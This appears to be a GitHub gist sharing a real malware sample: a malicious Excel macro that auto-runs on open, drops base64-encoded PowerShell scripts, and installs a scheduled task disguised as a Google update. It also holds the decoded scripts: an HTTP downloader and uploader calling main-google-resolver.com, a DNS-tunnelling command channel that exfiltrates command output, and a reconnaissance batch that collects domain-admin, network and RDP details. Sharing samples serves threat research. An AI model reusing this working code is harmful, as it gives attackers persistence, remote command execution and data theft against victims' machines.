Created
October 23, 2016 00:12
-
-
Save anonymous/d0da355e5c21a122866808d37234cd5d to your computer and use it in GitHub Desktop.
PowerShell malware [posted by @JohnLaTwC]
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//sample: 1554e74b935a61d446cb634f80d7d1e200e864bc | |
//posted by @JohnLaTwC | |
// Also see research by Sudeep Singh, Yin Hong Chang @ https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html | |
----------------------------------------------- macro ---------------------------------- | |
Private Sub Workbook_Open() | |
Call doom_Init | |
Call doom_ShowHideSheets | |
End Sub | |
Sub doom_ShowHideSheets() | |
If ActiveWorkbook.Worksheets(1).Visible Then | |
Dim WS_Count As Integer | |
Dim I As Integer | |
WS_Count = ActiveWorkbook.Worksheets.Count | |
For I = 1 To WS_Count | |
ActiveWorkbook.Worksheets(I).Visible = True | |
Next I | |
ActiveWorkbook.Worksheets(1).Visible = False | |
ActiveWorkbook.Worksheets(2).Activate | |
End If | |
End Sub | |
Sub doom_Init() | |
Set BackupVbs = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 24) | |
Set DnEPs1 = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 25) | |
Set DnSPs1 = ActiveWorkbook.Worksheets("Incompatible").Cells(1, 26) | |
Set wss = CreateObject("WScript.Shell") | |
Set fso = CreateObject("Scripting.FileSystemObject") | |
pth = wss.ExpandEnvironmentStrings("%PUBLIC%") & "\Libraries\RecordedTV\" | |
If Not (fso.FolderExists(pth)) Then | |
fso.CreateFolder (pth) | |
End If | |
cmd = "powershell ""&{$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & BackupVbs & "')); Set-Content '" & pth & "backup.vbs" & "' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & DnEPs1 & "'));$f=$f -replace '__',(Get-Random);$f='powershell -EncodedCommand \""'+([System.Convert]::ToBas" & "e64String([System.Text.Encoding]::Unicode.GetBytes($f)))+'\""'; Set-Content '" & pth & "DnE.ps1" & "' $f;$f=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBas" & "e64String('" & DnSPs1 & "'));$f='powershell -EncodedCommand \""'+([System.Convert]::ToBas" & "e64String([System.Text.Encoding]::Unicode.GetBytes($f)))+'\""';Set-Content '" & pth & "DnS.ps1" & "' $f}""" | |
cmd2 = "schtasks /create /F /sc minute /mo 3 /tn " & Chr(34) & "GoogleUpdateTasksMachineUI" & Chr(34) & " /tr " & pth & "backup.vbs" | |
If Not (fso.FileExists(pth & "backup.vbs")) Then | |
If Not (fso.FolderExists(pth & "up")) Then | |
fso.CreateFolder (pth & "up") | |
End If | |
If Not (fso.FolderExists(pth & "dn")) Then | |
fso.CreateFolder (pth & "dn") | |
End If | |
If Not (fso.FolderExists(pth & "tp")) Then | |
fso.CreateFolder (pth & "tp") | |
End If | |
wss.Run cmd, 0 | |
wss.Run cmd2, 0 | |
Set wss = Nothing | |
Set fso = Nothing | |
End If | |
End Sub | |
----------------------------------------------- DnE.ps1 ---------------------------------- | |
powershell -EncodedCommand "JABNAFkASABPAE0ARQAgAD0AIAAkAEUAbgB2ADoAUAB1AGIAbABpAGMAKwAiAFwATABpAGIAcgBhAHIAaQBlAHMAXABSAGUAYwBvAHIAZABlAGQAVABWAFwAIgA7AA0ACgAkAFMARQBSAFYARQBSACAAPQAgACIAaAB0AHQAcAA6AC8ALwBtAGEAaQBuAC0AZwBvAG8AZwBsAGUALQByAGUAcwBvAGwAdgBlAHIALgBjAG8AbQAvAGkAbgBkAGUAeAAuAGEAcwBwAHgAPwBpAGQAPQAxADgANQA4ADgANAA3ADkAOAA3AFwAIgA7AA0ACgAkAFUAUAAgAD0AIAAiAHUAcABcACIAOwANAAoAJABEAE4AIAA9ACAAIgBkAG4AXAAiADsADQAKACQAVABQACAAPQAgACIAdABwAFwAIgA7AA0ACgAkAFUAUABMAEsAIAA9ACAAIgB1AHA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GQAKAAnAFwAJwApACkAKwAnAFwAJwArACQAZgBpAGwAZQBuAGEAbQBlACkAIAAtAFYAYQBsAHUAZQAgACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABmAGkAbABlACkAKQApACAALQBFAG4AYwBvAGQAaQBuAGcAIABCAHkAdABlADsADQAKAAkAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAAJABmAGkAbABlACAALQBGAG8AcgBjAGUAOwANAAoACQByAGUAdAB1AHIAbgAgACgAKAAkAHAAYQB0AGgALgBUAHIAaQBtAEUAbgBkACgAJwBcACcAKQApACsAJwBcACcAKwAkAGYAaQBsAGUAbgBhAG0AZQApADsADQAKAH0ADQAKAA0ACgANAAoADQAKAGYAdQBuAGMAdABpAG8AbgAgAEQAbwB3AG4AVABoAGUAbQBBAGwAbAANAAoAewANAAoACQBpAGYAKAAtAG4AbwB0ACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAE0AWQBIAE8ATQBFACQARABOAEwASwApACkADQAKAAkAewANAAoACQAJAE4AZQB3AC0ASQB0AGUAbQAgACQATQBZAEgATwBNAEUAJABEAE4ATABLACAALQB0AHkAcABlACAAZgBpAGwAZQA7AA0ACgAJAAkAJABpACAAPQAgADEAOwANAAoACQAJAHcAaABpAGwAZQAoACQAaQAgAC0AbABlACAAMwApAA0ACgAJAAkAewANAAoACQAJAAkAdAByAHkADQAKAAkACQAJAHsADQAKAAkACQAJAAkARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAIAAoACQAUwBFAFIAVgBFAFIAKwAnAGQAJwApACAAKAAkAE0AWQBIAE8ATQBFACsAJABEAE4AKQA7AA0ACgAJAAkACQB9AA0ACgAJAAkACQBjAGEAdABjAGgADQAKAAkACQAJAHsADQAKAAkACQAJAAkAYgByAGUAYQBrADsADQA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AHAAdABpAG8AbgBdAA0ACgAJAAkACQB7AA0ACgAJAAkACQAJACQAaQArACsAOwANAAoACQAJAAkACQBjAG8AbgB0AGkAbgB1AGUAOwANAAoACQAJAAkAfQANAAoACQAJAH0ADQAKAAkACQANAAoACQAJAGkAZgAgACgAJABpACAALQBlAHEAIAA0ACkADQAKAAkACQB7AA0ACgAJAAkACQAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBhAGQAZAAoACcAUgBlAGYAZQByAGUAcgAnACwAJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBnAG8AbwBnAGwAZQAuAGMAbwBtACcAKQA7AA0ACgAJAAkACQAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBhAGQAZAAoACcAQQBjAGMAZQBwAHQAJwAsACcAKgAvACoAJwApADsADQAKAAkACQAJACQAdwBjAC4ASABlAGEAZABlAHIAcwBbACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnAF0AIAA9ACAAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAIAAoAFcAaQBuAGQAbwB3AHMAIABOAFQAIAA2AC4AMwA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwANAAoACQAJAAkAJABpACAAPQAgADEAOwANAAoACQAJAAkAdwBoAGkAbABlACgAJABpACAALQBsAGUAIAAzACkADQAKAAkACQAJAHsADQAKAAkACQAJAAkAdAByAHkADQAKAAkACQAJAAkAewANAAoACQAJAAkACQAJACQAdwBjAC4AVQBwAGwAbwBhAGQARgBpAGwAZQAoACQAUwBFAFIAVgBFAFIAKwAnAHUAJwAsACQAZgBpAGwAZQApADsADQAKAAkACQAJAAkACQBiAHIAZQBhAGsAOwANAAoACQAJAAkACQB9AA0ACgAJAAkACQAJAGMAYQB0AGMAaAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEUAeABj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AAkACQBOAGUAdwAtAEkAdABlAG0AIAAkAE0AWQBIAE8ATQBFACQAVQBQACAALQB0AHkAcABlACAAZABpAHIAZQBjAHQAbwByAHkAOwANAAoACQB9AA0ACgAJAGkAZgAoAC0AbgBvAHQAKABUAGUAcwB0AC0AUABhAHQAaAAgACQATQBZAEgATwBNAEUAJABUAFAAKQApAA0ACgAJAHsADQAKAAkACQBOAGUAdwAtAEkAdABlAG0AIAAkAE0AWQBIAE8ATQBFACQAVABQACAALQB0AHkAcABlACAAZABpAHIAZQBjAHQAbwByAHkAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABBAGwAaQB2AGUADQAKAHsADQAKAAkASQBuAGkAdABDAGgAZQBjAGsAOwANAAoACQBEAG8AdwBuAFQAaABlAG0AQQBsAGwAOwANAAoACQBEAG8AdwBuAGwAbwBhAGQARQB4AGUAYwB1AHQAZQA7AA0ACgAJAFUAcABUAGgAZQBtAEEAbABsADsADQAKAH0ADQAKAA0ACgANAAoADQAKAEEAbABpAHYAZQA7AA0ACgA=" | |
decodes to: | |
$MYHOME = $Env:Public+"\Libraries\RecordedTV\"; | |
$SERVER = "http://main-google-resolver.com/index.aspx?id=1858847987\"; | |
$UP = "up\"; | |
$DN = "dn\"; | |
$TP = "tp\"; | |
$UPLK = "uplock"; | |
$DNLK = "dwnlock"; | |
function DownloadFile($link, $path) | |
{ | |
$wc = new-object System.Net.WebClient; | |
$wc.UseDefaultCredentials = $true; | |
$wc.Headers.add('Accept','*/*'); | |
$wc.Headers.add('User-Agent','Microsoft BITS/7.7'); | |
$wc.Headers.add('Accept-Language','en-US,en;q=0.5'); | |
$wc.Headers.add('Accept-Encoding','gzip, deflate'); | |
$wc.Headers.add('Referer','https://www.google.com'); | |
$wc.Headers.add('Pragma','no-cache'); | |
$wc.Headers.add('Cache-Control','no-cache'); | |
$r = Get-Random; | |
$file = ($path.TrimEnd('\'))+'\'+$r; | |
try | |
{ | |
$wc.DownloadFile($link,$file); | |
} | |
catch [System.Net.WebException] | |
{ | |
$wc.Headers.add('Referer','https://www.google.com'); | |
$wc.Headers.add('Accept','*/*'); | |
$wc.Headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko'; | |
try | |
{ | |
$wc.DownloadFile($link,$file); | |
} | |
catch | |
{ | |
throw [System.Net.WebException] $_.Exception.ToString(); | |
} | |
} | |
$cd = $wc.ResponseHeaders['Content-Disposition']; | |
$filename = $cd.Substring($cd.IndexOf('filename=')+9); | |
$filename = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($filename.Replace('-','/'))); | |
Set-Content -Path (($path.TrimEnd('\'))+'\'+$filename) -Value ([System.Convert]::FromBase64String((Get-Content -Path $file))) -Encoding Byte; | |
Remove-Item $file -Force; | |
return (($path.TrimEnd('\'))+'\'+$filename); | |
} | |
function DownThemAll | |
{ | |
if(-not(Test-Path $MYHOME$DNLK)) | |
{ | |
New-Item $MYHOME$DNLK -type file; | |
$i = 1; | |
while($i -le 3) | |
{ | |
try | |
{ | |
DownloadFile ($SERVER+'d') ($MYHOME+$DN); | |
} | |
catch | |
{ | |
break; | |
} | |
$i++; | |
} | |
Remove-Item $MYHOME$DNLK -Force; | |
} | |
} | |
function UploadFileRemove($file) | |
{ | |
if((Get-Item ($file)).length -gt 0) | |
{ | |
$wc = new-object System.Net.WebClient; | |
$wc.UseDefaultCredentials = $true; | |
$wc.Headers.add('Accept','*/*'); | |
$wc.Headers.add('User-Agent','Microsoft BITS/7.7'); | |
$wc.Headers.add('Accept-Language','en-US,en;q=0.5'); | |
$wc.Headers.add('Accept-Encoding','gzip, deflate'); | |
$wc.Headers.add('Referer','https://www.google.com'); | |
$wc.Headers.add('Pragma','no-cache'); | |
$wc.Headers.add('Cache-Control','no-cache'); | |
[System.Convert]::ToBase64String(([System.IO.File]::ReadAllBytes($file))) | Out-File $file -Encoding Default; | |
$i=1; | |
while($i -le 3) | |
{ | |
try | |
{ | |
$wc.UploadFile($SERVER+'u',$file); | |
break; | |
} | |
catch [System.Net.WebException] | |
{ | |
$i++; | |
continue; | |
} | |
} | |
if ($i -eq 4) | |
{ | |
$wc.Headers.add('Referer','https://www.google.com'); | |
$wc.Headers.add('Accept','*/*'); | |
$wc.Headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; rv:11.0) like Gecko'; | |
$i = 1; | |
while($i -le 3) | |
{ | |
try | |
{ | |
$wc.UploadFile($SERVER+'u',$file); | |
break; | |
} | |
catch [System.Net.WebException] | |
{ | |
$i++; | |
continue; | |
} | |
} | |
} | |
} | |
waitfor uplproc /T 1; | |
Remove-Item $file; | |
} | |
function UpThemAll | |
{ | |
if(-not(Test-Path $MYHOME$UPLK)) | |
{ | |
New-Item $MYHOME$UPLK -type file; | |
Get-ChildItem $MYHOME$UP | ForEach-Object{try{UploadFileRemove ($_.FullName)}catch{continue}}; | |
Remove-Item $MYHOME$UPLK -Force; | |
} | |
} | |
function DownloadExecute | |
{ | |
try | |
{ | |
$batfile = DownloadFile ($SERVER+'b') ($MYHOME+$DN); | |
} | |
catch | |
{ | |
return; | |
} | |
$args="/c "+$batfile+" > "+$batfile+".txt"; | |
Start-Process -WindowStyle Hidden -Wait -FilePath cmd -ArgumentList $args; | |
UploadFileRemove($batfile+'.txt'); | |
Remove-Item ($batfile); | |
} | |
function InitCheck | |
{ | |
if(-not(Test-Path $MYHOME$DN)) | |
{ | |
New-Item $MYHOME$DN -type directory; | |
} | |
if(-not(Test-Path $MYHOME$UP)) | |
{ | |
New-Item $MYHOME$UP -type directory; | |
} | |
if(-not(Test-Path $MYHOME$TP)) | |
{ | |
New-Item $MYHOME$TP -type directory; | |
} | |
} | |
function Alive | |
{ | |
InitCheck; | |
DownThemAll; | |
DownloadExecute; | |
UpThemAll; | |
} | |
Alive; | |
----------------------------------------------- DnE.ps1 ---------------------------------- | |
powershell -EncodedCommand "JABnAGwAbwBiAG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sADQAKACAAIAAgACAAJABtAHkAdABlAG0AcAAgAD0AIAAnACcAOwANAAoAIAAgACAAIAAkAGoAPQAwADsADQAKACAAIAAgACAAdwBoAGkAbABlACgAJABpACAALQBsAGUAIAAkAG0AeQBzAHQAcgAuAEwAZQBuAGcAdABoACkADQAKACAAIAAgACAAewANAAoAIAAgACAAIAAgACAAIAAgACQAbQB5AHQAZQBtAHAAIAArAD0AIAAkAG0AeQBzAHQAcgBbACQAaQBdADsADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAoACgAJABpACUAMgA0ACkAIAAtAGUAcQAgADIAMwApACAALQBvAHIAIAAoACQAaQAgAC0AZQBxACAAJABtAHkAcwB0AHIALgBMAGUAbgBnAHQAaAApACkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAG0AeQBoAGUAeAAgAD0AIABTAHQAcgAyAEgAZQB4ACAAJABtAHkAdABlAG0AcAA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAGUAbgBkAFIAZQBjAGUAaQB2AGUARABOAFMAIAAoACgARwBlAHQAUwB1AGIAIAAyACAAJABtAHkARgBpAGwAZQBOAGEAbQBlACAAKABjAG8AbgB2AGUAcgB0AFQAbwAtAEIAYQBzAGUAMwA2ACAAJABqACkAKQAgACsAIAAkAG0AeQBoAGUAeAApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAagArACsAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABtAHkAdABlAG0AcAAgAD0AIAAnACcAOwANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGkAKwArADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQASQBEAA0ACgB7AA0ACgAJACQAdgBhAGwAaQBkAGMAaABhAHIAcwAgAD0AIAAiADAAMQAyADMANAA1ADYANwA4ADkAQQBCAEMARABFA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ACAAKAAkAGcAbABvAGIAYQBsADoAbQB5AGgAbwBtAGUAKwAnAHQAcABcACcAKwAkAGcAbABvAGIAYQBsADoAZgBpAGwAZQBuAGEAbQBlACsAJwAuAHQAeAB0ACcAKQA7AA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKAG0AYQBpAG4AOwANAAoA" | |
decodes to: | |
$global:myhost = '.main-google-resolver.com'; | |
$global:filename = ''; | |
$global:myflag = 0; | |
$global:myid = '###'; | |
$global:myhome = "$env:Public\Libraries\RecordedTV\"; | |
function convertTo-Base36 ($decNum="") | |
{ | |
$decNum %= 46656; | |
$alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; | |
do | |
{ | |
$remainder = ($decNum % 36); | |
$char = $alphabet.substring($remainder,1); | |
$base36Num = "$char$base36Num"; | |
$decNum = ($decNum - $remainder) / 36; | |
} | |
while ($decNum -gt 0); | |
$base36Num.PadLeft(3,'0'); | |
} | |
function GetSub($myflag2, $cmdid='00', $partid='000') | |
{ | |
if($myflag2 -eq 0) | |
{ | |
('zz000000'+(convertTo-Base36(Get-Random -Maximum 46655))); | |
} | |
elseif($myflag2 -eq 1) | |
{ | |
('zz'+$global:myid+'00000'+(convertTo-Base36(Get-Random -Maximum 46655))); | |
} | |
elseif($myflag2 -eq 2) | |
{ | |
('zz'+$global:myid+$cmdid+$partid+(convertTo-Base36(Get-Random -Maximum 46655))); | |
} | |
} | |
function Str2Hex($mystr) | |
{ | |
[System.BitConverter]::ToString([System.Text.Encoding]::Default.GetBytes($mystr)).Replace("-", ""); | |
} | |
function Alive | |
{ | |
if($global:myid -eq '#'+'##') | |
{ | |
return 0; | |
} | |
SendReceiveDNS ((GetSub 1)+'30'); | |
$sub = ((GetSub 1)+'232A') + (Str2Hex $global:filename); | |
$i = 1; | |
$ret = 0; | |
while($global:myflag -eq 1) | |
{ | |
$ret = 1; | |
$sub2 = $sub + (Str2Hex $i); | |
SendReceiveDNS $sub2; | |
$i++; | |
} | |
if($ret -eq 1) | |
{ | |
FixBatFile ($global:myhome+'tp\'+$global:filename+".bat"); | |
} | |
$ret; | |
} | |
function SendReceiveDNS ($d) | |
{ | |
$cnt = 0; | |
while ($cnt -lt 20) | |
{ | |
try | |
{ | |
$mydata = ([System.Net.DNS]::GetHostByName($d+$global:myhost).AddressList[0]); | |
$mydata = ($mydata | ForEach-Object {$_.IPAddressToString}); | |
$cnt = 25; | |
} | |
catch | |
{ | |
Start-Sleep -m 500; | |
$cnt++; | |
} | |
} | |
if(-not($cnt -eq 25)) | |
{ | |
('#'+'##'); | |
} | |
elseif($global:myflag -eq 0 -and $mydata.StartsWith('33.33.')) | |
{ | |
$tmp = $mydata.SubString(6).Split('.'); | |
$global:filename = ([char] [int] $tmp[0]) + ([char] [int] $tmp[1]); | |
$global:myflag = 1; | |
} | |
elseif ($mydata.Equals('35.35.35.35')) | |
{ | |
$global:myflag = 0; | |
} | |
elseif ($global:myflag -eq 1) | |
{ | |
$tmp = $mydata.Split('.'); | |
[System.IO.File]::AppendAllText($global:myhome+'tp\'+$global:filename+".bat", (([char] [int] $tmp[0]) + ([char] [int] $tmp[1]) + ([char] [int] $tmp[2]) + ([char] [int] $tmp[3]))); | |
} | |
elseif($global:myid -eq '#'+'##') | |
{ | |
([char] [int] $mydata.Split('.')[0]); | |
} | |
} | |
function FixBatFile ($batpath) | |
{ | |
(Get-Content $batpath).Substring(10) | Set-Content $batpath; | |
} | |
function SendFile($myFilePath) | |
{ | |
$myFileName = [System.IO.Path]::GetFileNameWithoutExtension($myFilePath); | |
$mystr = [System.IO.File]::ReadAllText($myFilePath); | |
$i=0; | |
$mytemp = ''; | |
$j=0; | |
while($i -le $mystr.Length) | |
{ | |
$mytemp += $mystr[$i]; | |
if((($i%24) -eq 23) -or ($i -eq $mystr.Length)) | |
{ | |
$myhex = Str2Hex $mytemp; | |
SendReceiveDNS ((GetSub 2 $myFileName (convertTo-Base36 $j)) + $myhex); | |
$j++; | |
$mytemp = ''; | |
} | |
$i++; | |
} | |
} | |
function GetID | |
{ | |
$validchars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; | |
$tid = SendReceiveDNS ((GetSub 0)+'30'); | |
if ($validchars.Contains($tid)){$global:myid=$tid;} | |
} | |
function ChangeThisFile ($botid) | |
{ | |
if(-not($global:myid -eq ('#'+'##'))) | |
{ | |
$fc=(Get-Content $env:Public\Libraries\RecordedTV\DnS.ps1 -Encoding Ascii); | |
$fc=$fc.SubString($fc.IndexOf('powershell -EncodedCommand \"')+29).TrimEnd('\"'); | |
$fc=[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($fc)); | |
$fc=$fc -replace ('#'+'##'),$botid; | |
$fc=[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($fc)); | |
$fc='powershell -EncodedCommand "'+$fc+'"'; | |
Set-Content $env:Public\Libraries\RecordedTV\DnS.ps1 $fc -Encoding Ascii; | |
} | |
} | |
function Init | |
{ | |
if($global:myid -eq ('#'+'##')) | |
{ | |
md -Force ($global:myhome+'tp\'); | |
GetID; | |
ChangeThisFile $global:myid; | |
} | |
} | |
function main | |
{ | |
Init; | |
if(Alive -eq 1) | |
{ | |
Invoke-Expression ($global:myhome+'tp\'+$global:filename+'.bat > '+$global:myhome+'tp\'+$global:filename+'.txt'); | |
SendFile ($global:myhome+'tp\'+$global:filename+'.txt'); | |
Remove-Item ($global:myhome+'tp\'+$global:filename+'.bat'); | |
Remove-Item ($global:myhome+'tp\'+$global:filename+'.txt'); | |
} | |
} | |
main; | |
---------------------------------- backup.vbs ---------------------------------- | |
In Cell X1 | |
HOME="%public%\Libraries\RecordedTV\" | |
DnECmd="powershell -ExecutionPolicy Bypass -File "&HOME&"DnE.ps1" | |
CreateObject("WScript.Shell").Run DnECmd,0 | |
DnsCmd="powershell -ExecutionPolicy Bypass -File "&HOME&"DnS.ps1" | |
CreateObject("WScript.Shell").Run DnsCmd,0 | |
---------------------------------- ---------------------------------- | |
QGVjaG8gb2ZmJmNoY3AgNjUwMDEmIHdob2FtaSAyPiYxICYgaG9zdG5hbWUgMj4mMSAmIGVjaG8gX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19JcENvbmZpZ19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAmIGlwY29uZmlnIC9hbGwgMj4mMSAmIGVjaG8gX19fX19fX19fX19fX19fX19fX19fX19fX19Eb21pYW4gQWRtaW5zX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAmIG5ldCBncm91cCAiZG9tYWluIGFkbWlucyIgL2RvbWFpbiAyPiYxICYgZWNobyBfX19fX19fX19fX19fX19fX19fX19fX25ldCBsb2NhbCBncm91cCBtZW1iZXJzX19fX19fX19fX19fX19fX19fX19fX19fICYgbmV0IGxvY2FsZ3JvdXAgYWRtaW5pc3RyYXRvcnMgMj4mMSAmIGVjaG8gX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19uZXRzdGF0X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAmIG5ldHN0YXQgLWFuIDI+JjEgJiBlY2hvIF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fc3lzdGVtaW5mb19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18gJiBzeXN0ZW1pbmZvIDI+JjEgJiBlY2hvIF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fUkRQX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18gJiByZWcgcXVlcnkgIkhLRVlfQ1VSUkVOVF9VU0VSXFNvZnR3YXJlXE1pY3Jvc29mdFxUZXJtaW5hbCBTZXJ2ZXIgQ2xpZW50XERlZmF1bHQiIDI+JjEgJiBlY2hvIF9fX19fX19fX19fX19fX19fX19fX19fX19fX19DdXN0b20gQ29tbWFuZF9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX18gJiB3bWljIG9zIGdldCBDYXB0aW9uIC92YWx1ZSB8IG1vcmUgMj4mMSAmIGVjaG8gX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19UYXNrX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXyAmIHNjaHRhc2tzIC9xdWVyeSAvRk8gTGlzdCAvVE4gIkdvb2dsZVVwZGF0ZVRhc2tzTWFjaGluZVVJIiAvViB8IGZpbmRzdHIgL2IgL24gL2M6IlJlcGVhdDogRXZlcnk6IiAyPiYxICYgZWNobyBfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fIA== | |
decodes to: | |
@echo off&chcp 65001& whoami 2>&1 & hostname 2>&1 & echo ________________________________IpConfig______________________________ & ipconfig /all 2>&1 & echo __________________________Domian Admins_______________________________ & net group "domain admins" /domain 2>&1 & echo _______________________net local group members________________________ & net localgroup administrators 2>&1 & echo ________________________________netstat_______________________________ & netstat -an 2>&1 & echo _____________________________systeminfo_______________________________ & systeminfo 2>&1 & echo ________________________________RDP___________________________________ & reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" 2>&1 & echo ____________________________Custom Command_______________________________ & wmic os get Caption /value | more 2>&1 & echo ________________________________Task__________________________________ & schtasks /query /FO List /TN "GoogleUpdateTasksMachineUI" /V | findstr /b /n /c:"Repeat: Every:" 2>&1 & echo ______________________________________________________________________ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment